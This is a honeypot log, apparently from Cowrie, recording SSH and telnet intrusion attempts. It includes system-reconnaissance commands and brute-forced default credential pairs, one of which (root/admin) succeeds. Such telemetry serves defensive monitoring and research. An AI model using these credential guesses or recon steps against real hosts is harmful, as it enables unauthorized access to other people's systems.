{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:59.304274Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:59.308806Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:59.757046Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:00.819531Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:00.822601Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.309029579162598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:01.162347Z","src_ip":"45.63.78.87","session":"e8aa2e79b33d","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:01.181401Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:02.463169Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:02.467161Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"1.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:03.612944Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:05.077436Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:05.081063Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:05.644445Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:06.305190Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:06.310002Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:06.716266Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:07.591338Z","src_ip":"23.30.237.219","session":"9d037d52d0c7","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:07.758167Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:07.761973Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:08.253255Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"42.3","message":"Connection lost after 42.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:08.258799Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.856932401657104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:09.638657Z","src_ip":"45.63.78.87","session":"89717c684969","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.418906688690186,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:12.853874Z","src_ip":"23.30.237.219","session":"9d037d52d0c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50424,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8b9ad28de26","protocol":"telnet","message":"New connection: 135.148.33.91:50424 (159.203.135.109:23) [session: a8b9ad28de26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:18.007679Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.30.237.219","src_port":2189,"dst_ip":"159.203.135.109","dst_port":23,"session":"98aceb425346","protocol":"telnet","message":"New connection: 23.30.237.219:2189 (159.203.135.109:23) [session: 98aceb425346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:20.643635Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":40266,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d40d1eef8e4","protocol":"telnet","message":"New connection: 45.63.78.87:40266 (10.17.0.5:23) [session: 5d40d1eef8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:20.865149Z"}
{"eventid":"cowrie.session.closed","duration":31.53791046142578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:25.841089Z","src_ip":"45.63.78.87","session":"10dc6aac1047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":46248,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d81ae1b40a","protocol":"telnet","message":"New connection: 45.63.78.87:46248 (10.17.0.5:23) [session: 51d81ae1b40a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:41.058711Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":45798,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbea575b9621","protocol":"telnet","message":"New connection: 45.63.78.87:45798 (10.17.0.5:23) [session: cbea575b9621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:42.526077Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":47334,"dst_ip":"10.17.0.5","dst_port":23,"session":"37b9d70a8da3","protocol":"telnet","message":"New connection: 45.63.78.87:47334 (10.17.0.5:23) [session: 37b9d70a8da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:45.358985Z"}
{"eventid":"cowrie.session.closed","duration":31.141972064971924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:52.006992Z","src_ip":"45.63.78.87","session":"5d40d1eef8e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.40554976463318,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:52.413097Z","src_ip":"135.148.33.91","session":"a8b9ad28de26","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:54.197733Z","src_ip":"23.30.237.219","session":"98aceb425346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.530622482299805,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:57.174133Z","src_ip":"23.30.237.219","session":"98aceb425346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":50702,"dst_ip":"10.17.0.5","dst_port":23,"session":"849327159601","protocol":"telnet","message":"New connection: 45.63.78.87:50702 (10.17.0.5:23) [session: 849327159601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:24:59.888475Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.30.237.219","src_port":4438,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9dafeb820eb","protocol":"telnet","message":"New connection: 23.30.237.219:4438 (159.203.135.109:23) [session: f9dafeb820eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:02.887030Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":30646,"dst_ip":"159.203.135.109","dst_port":22,"session":"878c67f55706","protocol":"ssh","message":"New connection: 185.9.193.111:30646 (159.203.135.109:22) [session: 878c67f55706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:08.836427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:08.845117Z","src_ip":"185.9.193.111","session":"878c67f55706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:09.323808Z","src_ip":"185.9.193.111","session":"878c67f55706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aceuser","password":"aceuser","message":"login attempt [aceuser/aceuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:11.204633Z","src_ip":"185.9.193.111","session":"878c67f55706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:12.564275Z","src_ip":"185.9.193.111","session":"878c67f55706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.531614780426025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:12.590205Z","src_ip":"45.63.78.87","session":"51d81ae1b40a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16905403137207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:13.695010Z","src_ip":"45.63.78.87","session":"cbea575b9621","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3560631275177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:16.714946Z","src_ip":"45.63.78.87","session":"37b9d70a8da3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":55290,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1338a3d495f","protocol":"telnet","message":"New connection: 45.63.78.87:55290 (10.17.0.5:23) [session: e1338a3d495f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:17.619695Z"}
{"eventid":"cowrie.session.closed","duration":30.28108263015747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:30.169444Z","src_ip":"45.63.78.87","session":"849327159601","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:35.932846Z","src_ip":"23.30.237.219","session":"f9dafeb820eb","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:36.007925Z","src_ip":"23.30.237.219","session":"f9dafeb820eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46158719062805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:25:48.081154Z","src_ip":"45.63.78.87","session":"e1338a3d495f","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:00.864701Z","src_ip":"23.30.237.219","session":"f9dafeb820eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":38532,"dst_ip":"10.17.0.5","dst_port":23,"session":"b896a0f8cca1","protocol":"telnet","message":"New connection: 45.63.78.87:38532 (10.17.0.5:23) [session: b896a0f8cca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:01.159854Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":39082,"dst_ip":"10.17.0.5","dst_port":23,"session":"0537039222fc","protocol":"telnet","message":"New connection: 45.63.78.87:39082 (10.17.0.5:23) [session: 0537039222fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:02.929218Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":62338,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d7edebbd31f","protocol":"ssh","message":"New connection: 2.57.121.112:62338 (159.203.135.109:22) [session: 4d7edebbd31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:09.124240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:09.129660Z","src_ip":"2.57.121.112","session":"4d7edebbd31f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:09.234438Z","src_ip":"2.57.121.112","session":"4d7edebbd31f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazedctgb","message":"login attempt [admin/qazedctgb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:09.723554Z","src_ip":"2.57.121.112","session":"4d7edebbd31f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qaswed","message":"login attempt [admin/qaswed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:10.832486Z","src_ip":"2.57.121.112","session":"4d7edebbd31f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":32898,"dst_ip":"10.17.0.5","dst_port":22,"session":"8450bf7c8895","protocol":"ssh","message":"New connection: 187.212.47.18:32898 (10.17.0.5:22) [session: 8450bf7c8895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:11.486549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:11.491451Z","src_ip":"187.212.47.18","session":"8450bf7c8895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:11.816611Z","src_ip":"187.212.47.18","session":"8450bf7c8895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"q111111","message":"login attempt [admin/q111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:11.941853Z","src_ip":"2.57.121.112","session":"4d7edebbd31f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1qaz@WSX","message":"login attempt [administrator/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:12.154053Z","src_ip":"187.212.47.18","session":"8450bf7c8895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pyF8aH","message":"login attempt [admin/pyF8aH] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:13.052054Z","src_ip":"2.57.121.112","session":"4d7edebbd31f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:13.232361Z","src_ip":"187.212.47.18","session":"8450bf7c8895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"putang","message":"login attempt [admin/putang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:14.159717Z","src_ip":"2.57.121.112","session":"4d7edebbd31f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:15.273767Z","src_ip":"2.57.121.112","session":"4d7edebbd31f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":34540,"dst_ip":"10.17.0.5","dst_port":23,"session":"36f60a2c4b8b","protocol":"telnet","message":"New connection: 45.63.78.87:34540 (10.17.0.5:23) [session: 36f60a2c4b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:26:16.068906Z"}
